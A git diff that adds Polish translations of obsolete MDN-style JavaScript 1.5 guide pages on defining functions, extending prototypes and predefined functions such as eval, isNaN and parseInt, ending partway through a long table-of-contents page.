"ja/Core_JavaScript_1.5_Guide/Block_Statement" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/definiowanie_funkcji/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/definiowanie_funkcji/index.html new file mode 100644 index 0000000000..5dca69e416 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/definiowanie_funkcji/index.html @@ -0,0 +1,61 @@ +--- +title: Definiowanie funkcji +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Definiowanie_funkcji +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Functions +--- +<h2 id="Definiowanie_funkcji" name="Definiowanie_funkcji">Definiowanie funkcji</h2> +<p>Na definicję funkcji składają się słowa:</p> +<ul> + <li>Nazwa funkcji.</li> + <li>Lista argumentów funkcji, otoczona w nawiasach i oddzielona przecinkami.</li> + <li>Instrukcje JavaScript, które definiują funkcje, otoczone w nawiasach klamrowych, { }. Instrukcje w funkcji zawierają nazwę do innych funkcji zdefiniowane do aktualnej aplikacji.</li> +</ul> +<p>Na przykład, następujący kod definiuje prostą funkcję nazwaną square:</p> +<pre>function square(number) { + return number * number; +} +</pre> +<p>Funkcja <code>square</code> bierze jeden argument, nazwany number. Funkcja składa się z jednej instrukcji, która sygnalizuje zwrot argumentu funkcji pomnożonej przez samą siebie. Instrukcja <code>return</code> określa wartość zwracanej funkcji.</p> +<pre>return number * number +</pre> +<p>Wszystkie parametry są przekazywane do funkcji <em>przez wartość</em>; wartość zostaje przekazana do funkcji, ale jeżeli w funkcji wartość parametru zostanie zmieniona, zmiana ta nie będzie widoczna globalnie an. Jednakże, jeżeli przekażesz obiekt jako parametr funkcji, a funkcja zmieni właściwości obiektu, zmiana ta będzie widoczna poza funkcją, tak jak w następującym przykładzie:</p> +<pre>function myFunc(theObject) { + theObject.make="Toyota" +} + +mycar = {make:"Honda", model:"Accord", year:1998}; +x=mycar.make; // zwraca Honda +myFunc(mycar); // przechodzi obiekt mycar do funkcji +y=mycar.make; // zwraca Toyota (porada: was changed by the function) +</pre> +<p>Zdefiniowana funkcja jest oparta na warunku. Na przykład, dając następującą definicje funkcji:</p> +<pre>if (num == 0) +{ + function myFunc(theObject) { + theObject.make="Toyota" + } +} +</pre> +<p>Funkcja <code>myFunc</code> jest tylko zdefiniowana jeśli zmienna <code>num</code> równa się 0. Jeśli <code>num</code> nie jest równe 0, funkcja nie jest zdefiniowana i jakiekolwiek inne próby nie zostaną wykonane.</p> +<p>Oprócz opisanego tu definiowania funkcji, możliwe jest także definiowanie <a href="/pl/docs/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Function_Object" title="Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Function_Object">Function objects</a>.</p> +<p>Metoda jest to połączenie funkcji z obiektem. Możesz się nauczyć więcej o obiektach i metodach w <a href="/pl/docs/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function" title="Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function">Obiekt function</a></p> +<p>Funkcja może być także zdefiniowana wewnątrz wyrażenia. Jest to nazwane wyrażeniem funkcyjnym. Typowo takie funkcje są anonimowe - nie mają nazwy. Na przykład, funkcja <code>square</code> może być zdefiniowana jako:</p> +<pre>const square = function(number) {return number * number}; +</pre> +<p>To jest konwencja kiedy przekazujesz jako funkcję jako argument do następnej funkcji. Następujący przykład pokazuje mapę funkcji będących zdefiniowanymi i następnie nazwane z funkcją, a jako pierwszą funkcją będzie parametr:</p> +<pre>function map(f,a) { + var result=new Array; + for (var i = 0; i != a.length; i++) + result[i] = f(a[i]); + return result; +} +</pre> +<p>Wywołuje:</p> +<pre>map(function(x) {return x * x * x}, [0, 1, 2, 5, 10]); +</pre> +<p>Zwraca {{ mediawiki.external('0, 1, 8, 125, 1000') }}.</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/dodawanie_obiektom_nowej_funkcjonalności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/dodawanie_obiektom_nowej_funkcjonalności/index.html new file mode 100644 index 0000000000..9ba9895af5 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/dodawanie_obiektom_nowej_funkcjonalności/index.html @@ -0,0 +1,20 @@ +--- +title: Dodawanie obiektom nowej funkcjonalności. +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Dodawanie_obiektom_nowej_funkcjonalności. +--- +<p>Każdy obiekt JavaScriptu posiada zadeklarowane, właściwe dla siebie funkcje, jak np. obiekt String posiada takie funkcje jak <code>toUpperCase()</code> czy<code> toLowerCase()</code>, które odpowiadają odpowiednio za przekonwertowanie liter na duże i małe. Za pomocą prototypów możemy dodać własne funkcje. Poniżej przedstawiony został kod, który zwraca pierwszą literę łańcucha znaków, na którym została wykonana nasza metoda.</p> +<p> </p> +<p><code>String.prototype.firstLetter = function() {</code></p> +<p><code> var callObject = this;</code></p> +<p><code> return callObject.charAt(0);<br> +</code></p> +<p><code>};</code></p> +<p> </p> +<p>Dysponując tak przygotowanym kodem, możemy teraz uż<font color="#313131" face="arial, sans-serif">y</font><span class="Apple-style-span" style="color: rgb(49, 49, 49); font-family: arial, sans-serif;">ć naszej metody <code>firstLetter()</code> na dowolnym łańcuchu znaków.</span></p> +<p> </p> +<p><code>alert("hello".firstLetter());</code></p> +<p> </p> +<p>Powyższy kod wyświetli w okienku dialogowym typu alert literę h.</p> +<p> </p> +<p> </p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_eval/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_eval/index.html new file mode 100644 index 0000000000..3a78b3c311 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_eval/index.html @@ -0,0 +1,20 @@ +--- +title: Funkcja eval +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Functions +--- +<p> +</p> +<h3 id="Funkcja_eval" name="Funkcja_eval"> Funkcja <code>eval</code> </h3> +<p>Funkcja <code>eval</code> ocenia łańcuch znaków w kodzie JavaScript bez odniesienia do osobliwego obiektu. Składnia <code>eval</code>: +</p> +<pre>eval(expr) +</pre> +<p>gdzie: <code>expr</code> jest ocenianym łańcuchem znaków. +</p><p>Jeśli łańcuch znaków reprezentuje wyrażenie, <code>eval</code> je ocenia. Jeśli argument reprezentuje jedną lub więcej instrukcji JavaScript, <code>eval</code> wykonuje instrukcję. Nie nazywaj <code>eval</code> oceniane wyrażenia arytmetyczne, gdyż JavaScript oceni wyrażenia arytmetyczne automatycznie. +</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/eval_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_eval", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/eval_Function" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isfinite/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isfinite/index.html new file mode 100644 index 0000000000..ee6209ed4f --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isfinite/index.html @@ -0,0 +1,24 @@ +--- +title: Funkcja isFinite +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Functions +--- +<p> +</p> +<h3 id="Funkcja_isFinite" name="Funkcja_isFinite"> Funkcja <code><b>isFinite</b></code> </h3> +<p>Funkcja <code><b>isFinite</b></code> sprawdza argument do momentu ustalenia czy jest liczbą skończona. Składnia <code><b>isFinite</b></code>: +</p> +<pre>isFinite(number) +</pre> +<p>gdzie: <code><b>number</b></code> jest liczbą, która jest sprawdzana. </p><p>Jeśli argument jest <code><b>NaN</b></code>, plus nieskończoność lub minus nieskończoność, to ta metoda zwraca <code><b>false</b></code>, w innych przypadkach zwraca <code><b>true</b></code>. +</p><p>Następujący kod sprawdza klienta wejścia i ustala czy to jest liczba skończona. </p> +<pre>if(isFinite(ClientInput) == true) +{ + /* wykonaj odpowiednie kroki */ +} +</pre> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/isFinite_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_isFinite", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/isFinite_Function" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isnan/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isnan/index.html new file mode 100644 index 0000000000..c580bcd791 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcja_isnan/index.html @@ -0,0 +1,29 @@ +--- +title: Funkcja isNaN +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Functions +--- +<p> +</p> +<h3 id="Funkcja_isNaN" name="Funkcja_isNaN"> Funkcja isNaN </h3> +<p>Funkcja <code><b>isNaN</b></code> ocenia argument do określenia jeśli jest "NaN" (nie numer). Składnia <code><b>isNaN</b></code>: +</p> +<pre>isNaN(testValue) +</pre> +<p>gdzie: <code><b>testValue</b></code> jest wartością do oceny. +</p><p>Funkcje <code><b>parseFloat</b></code> i <code><b>parseInt</b></code> zwracają "NaN", kiedy ocenią wartość, że to nie jest numer. <code><b>isNaN</b></code> zwraca true jeśli przyjmie "NaN," i false w przeciwnym wypadku. +</p><p>Następujący kod sprawdza wartość <code><b>floatValue</b></code>, potrafi określić czy to jest liczba, a następnie nazywa odpowiednią procedurę: +</p> +<pre>floatValue=parseFloat(toFloat) + +if (isNaN(floatValue)) { + notFloat() +} else { + isFloat() +} +</pre> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/isNaN_Function", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/La_fonction_isNaN", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/isNaN_Function" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_escape_i_unescape/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_escape_i_unescape/index.html new file mode 100644 index 0000000000..a0efea0a21 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_escape_i_unescape/index.html @@ -0,0 +1,25 @@ +--- +title: Funkcje escape i unescape +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Functions +--- +<p> +</p> +<h3 id="Funkcje_escape_i_unescape" name="Funkcje_escape_i_unescape"> Funkcje <code>escape</code> i <code>unescape</code> </h3> +<p>Funkcje <code>escape</code> i <code>unescape</code> kodują i dekodują wartość łańcuchową. Funkcja <code>escape</code> zwraca kodowanie szesnastkowe argumentu ustawiając czcionki ISO Latin. Funkcja <code>unescape</code> zwraca wartość łańcuchową jako ASCII - czyli specyficzną wartością kodowania szesnastkowego. +</p><p>Składnia tych funkcji: +</p> +<pre>escape(string) +unescape(string) +</pre> +<p>Funkcje używamy przede wszystkim po stronie serwera, JavaScript koduje i dekoduje nazwy/wartości par w URL. +</p><p>Funkcje <code>escape</code> i <code>unescape</code> nie pracują dla znaków nie znajdujących się w ASCII, które są deprecated. W JavaScript 1.5 i późniejszych wydaniach, używają <code>encodeURI</code>, <code>decodeURI</code>, <code>encodeURIComponent</code>, i <code>decodeURIComponent</code>. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/escape_and_unescape_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_escape_y_unescape", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_escape_et_unescape", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/escape_and_unescape_Functions" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_number_i_string/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_number_i_string/index.html new file mode 100644 index 0000000000..10c47d0cd8 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_number_i_string/index.html @@ -0,0 +1,26 @@ +--- +title: Funkcje Number i String +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Functions +--- +<p> +</p> +<h3 id="Funkcje_Number_i_String" name="Funkcje_Number_i_String"> Funkcje <code><b>Number</b></code> i <code><b>String</b></code> </h3> +<p>Funkcja <code><b>Number</b></code> i <code><b>String</b></code> przekonwertuje na obiekt numeryczny lub łańcuch znaków. Składnia tej funkcji to: +</p> +<pre>Number(objRef) +String(objRef) +</pre> +<p>gdzie: <code><b>objRef</b></code> jest wskaźnikiem funkcji. +</p><p>Następny przykład przekonwertuje obiekt <code><b>Date</b></code> na możliwy do odczytu łańcuch znaków. +</p> +<pre>D = new Date (430054663215) +// Następnie zwraca +// "Thu Aug 18 04:37:43 GMT-0700 (Pacific Daylight Time) 1983" +x = String(D) +</pre> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/Number_and_String_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_Number_y_String", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_Number_et_String", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/Number_and_String_Functions" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_parseint_i_parsefloat/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_parseint_i_parsefloat/index.html new file mode 100644 index 0000000000..987bd6757a --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/funkcje_parseint_i_parsefloat/index.html @@ -0,0 +1,27 @@ +--- +title: Funkcje parseInt i parseFloat +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Functions +--- +<p> +</p> +<h3 id="Funkcja_parseInt_i_parseFloat" name="Funkcja_parseInt_i_parseFloat"> Funkcja <code>parseInt</code> i <code>parseFloat</code> </h3> +<p>Dwie funkcje "parse", <code>parseInt</code> i <code>parseFloat</code>, zwracają wartość liczbową, gdy podano łańcuch znaków jako argument. </p><p>Składnia <code>parseFloat</code> +</p> +<pre>parseFloat(str) +</pre> +<p>gdzie <code>parseFloat</code> analizuje swój argument, łańcuch znaków <code>str</code> i próbuje zwrócić liczbę zmiennoprzecinkową. W razie napotkania symbolu innego niż znak (+ lub -), liczby (0-9), znaku dziesiętnego lub wykładnika, funkcja zwraca wartość do momentu jego wystąpienia ignorując sam symbol i wszystkie inne po nim następujące. Jeśli pierwszy znak nie może być przekonwertowany do liczby, zwrócona zostaje wartość "NaN" (nie liczba). +</p><p>Składnia <code>parseInt</code> </p> +<pre>parseInt(str [, radix]) +</pre> +<p><code>parseInt</code> analizuje swój pierwszy argument, łańcuch znaków <code>str</code> i próbuje zwrócić liczbę całkowitą o podstawie wskazanej przez drugi, opcjonalny argument <code>radix</code>. Na przykład, podstawa o wartości 10 wskazuje konwersję do liczby dziesiętnej, podstawa równa 8 do liczby ósemkowej, 16 do heksadecymalnej itd. Dla podstawy większej od 10 litery alfabetu wskazują liczby większe od 9. Na przykład, dla liczb heksadecymalnych (podstawa 16), używane są litery od A do F. +</p><p>Jeśli <code>parseInt</code> napotka w podanej podstawie symbolu, który nie jest liczbą, funkcja zwraca wartość całkowitą do momentu jego wystąpienia ignorując sam symbol i wszystkie inne po nim następujące. Jeśli pierwszy znak nie może być przekonwertowany do liczby, zwrócona zostaje wartość "NaN". Funkcja <code>parseInt</code> skraca łańcuchy znaków do wartości całkowitych. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions/parseInt_and_parseFloat_Functions", "es": "es/Gu\u00eda_JavaScript_1.5/Funciones_predefinidas/Funciones_parseInt_y_parseFloat", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies/Les_fonctions_parseInt_et_parseFloat", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions/parseInt_and_parseFloat_Functions" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/index.html new file mode 100644 index 0000000000..904181e0e9 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/funkcje_predefiniowane/index.html @@ -0,0 +1,23 @@ +--- +title: Funkcje predefiniowane +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Funkcje_predefiniowane +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Functions +--- +<p> +</p> +<h3 id="Funkcje_predefiniwane" name="Funkcje_predefiniwane"> Funkcje predefiniwane </h3> +<p>JavaScript ma kilka predefiniowanych funkcji: +</p> +<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval"><code>eval</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite"><code>isFinite</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN">Funkcja <code>isNaN</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat"><code>parseInt</code> i <code>parseFloat</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String"><code>Number</code> i <code>String</code></a> +</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape"><code>encodeURI</code>, <code>decodeURI</code>, <code>encodeURIComponent</code>, i <code>decodeURIComponent</code> (wszystkie dostępne z Javascript 1.5 i późniejszym).</a> +</li></ul> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Functions", "fr": "fr/Guide_JavaScript_1.5/Fonctions_pr\u00e9d\u00e9finies", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Functions" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/index.html new file mode 100644 index 0000000000..5cbec8cf40 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/index.html @@ -0,0 +1,875 @@ +--- +title: Przewodnik po języku JavaScript 1.5 +slug: Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5 +tags: + - AJAX + - JavaScript + - Projekt_MDC + - Przewodnik_JavaScript + - Strony_do_aktualizacji + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide +--- +<h4 id="O_tym_przewodniku" name="O_tym_przewodniku"><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku">O tym przewodniku</a></h4> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku#Nowe_mo.C5.BCliwo.C5.9Bci_tego_wydania" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku#Nowe_mo.C5.BCliwo.C5.9Bci_tego_wydania">Nowe możliwości tego wydania</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku#Co_ju.C5.BC_powiniene.C5.9B_wiedzie.C4.87" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku#Co_ju.C5.BC_powiniene.C5.9B_wiedzie.C4.87">Co już powinieneś wiedzieć</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku#Wersje_JavaScriptu" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku#Wersje_JavaScriptu">Wersje JavaScriptu</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku#Gdzie_szuka.C4.87_informacji_o_JavaScripcie" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku#Gdzie_szuka.C4.87_informacji_o_JavaScripcie">Gdzie szukać informacji o JavaScripcie</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku#Konwencje_dokumentu" title="pl/Przewodnik_po_języku_JavaScript_1.5/O_tym_przewodniku#Konwencje_dokumentu">Konwencje dokumentu</a></dd> +</dl> + +<h4 id="Przegl.C4.85d_JavaScriptu" name="Przegl.C4.85d_JavaScriptu"><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu">Przegląd JavaScriptu</a></h4> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#Czym_jest_JavaScript.3F" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#Czym_jest_JavaScript.3F">Czym jest JavaScript?</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#JavaScript_i_Java" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#JavaScript_i_Java">JavaScript i Java</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#JavaScript_i_specyfikacja_ECMA" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#JavaScript_i_specyfikacja_ECMA">JavaScript i specyfikacja ECMA</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#Zwi.C4.85zek_pomi.C4.99dzy_JavaScript.2C_a_wersj.C4.85_ECMA" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#Zwi.C4.85zek_pomi.C4.99dzy_JavaScript.2C_a_wersj.C4.85_ECMA">Związek pomiędzy JavaScript, a wersją ECMA</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#Dokumentacja_JavaScript_w_por.C3.B3wnaniu_ze_specyfikacj.C4.85_ECMA" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#Dokumentacja_JavaScript_w_por.C3.B3wnaniu_ze_specyfikacj.C4.85_ECMA">Dokumentacja JavaScript w porównaniu ze specyfikacją ECMA</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu#Terminologia_JavaScriptu_i_ECMA" title="pl/Przewodnik_po_języku_JavaScript_1.5/Przegląd_JavaScriptu#Terminologia_JavaScriptu_i_ECMA">Terminologia JavaScriptu i ECMA</a></dd> + </dl> + </dd> +</dl> + +<h4 id="Funkcjonalno.C5.9B.C4.87_j.C4.99zyka" name="Funkcjonalno.C5.9B.C4.87_j.C4.99zyka">Funkcjonalność języka</h4> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Warto%C5%9Bci" title="pl/Przewodnik_po_języku_JavaScript_1.5/Wartości">Wartości</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Warto%C5%9Bci#Konwersja_typu_danych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Wartości#Konwersja_typu_danych">Konwersja typu danych</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zmienne">Zmienne</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne#Deklaracja_zmiennych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zmienne#Deklaracja_zmiennych">Deklaracja zmiennych</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne#Ocena_zmiennych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zmienne#Ocena_zmiennych">Ocena zmiennych</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zmienne#Zakres_zmiennych" title="pl/Przewodnik_po_języku_JavaScript_1.5/Zmienne#Zakres_zmiennych">Zakres zmiennych</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Sta%C5%82e" title="pl/Przewodnik_po_języku_JavaScript_1.5/Stałe">Stałe</a></dd> +</dl> + +<dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały">Literały</a></dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_tablicy" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_tablicy">Literały tablicy</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_logiczne" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_logiczne">Literały logiczne</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_ca.C5.82kowite" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_ca.C5.82kowite">Literały całkowite</a></dd> + </dl> + </dd> +</dl> + +<dl> + <dd> + <dl> + <dd><a href="/pl/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y#Litera.C5.82y_zmiennoprzecinkowe" title="pl/Przewodnik_po_języku_JavaScript_1.5/Literały#Litera.C5.82y_zmiennoprzecinkowe">Literały zmiennoprzecinkowe</a></dd> + </dl> + </dd> +</dl> + 